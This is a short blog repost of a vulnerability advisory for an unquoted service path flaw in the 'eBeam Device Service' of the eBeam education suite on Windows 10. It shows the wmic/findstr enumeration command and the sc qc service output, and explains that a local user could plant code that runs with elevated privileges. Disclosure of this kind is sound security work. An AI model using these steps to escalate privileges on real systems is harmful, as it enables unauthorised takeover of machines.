Wednesday, March 31, 2021

eBeam education suite - 'eBeam Device Service' Unquoted Service Path

# Exploit Title: eBeam education suite - 'eBeam Device Service' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage:
# Tested Version:
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\
Windows\\" | findstr /i "eBeam" | findstr /i /v """

eBeam Device Service	eBeam Device Service	C:\Program Files (x86)\Luidia\eBeam Device Service\eBeamDeviceServiceMain.exe	Auto

# Service info:

C:\>sc qc "eBeam Device Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: eBeam Device Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Luidia\eBeam Device Service\eBeamDeviceServiceMa
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : eBeam Device Service
        DEPENDENCIAS       :


A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore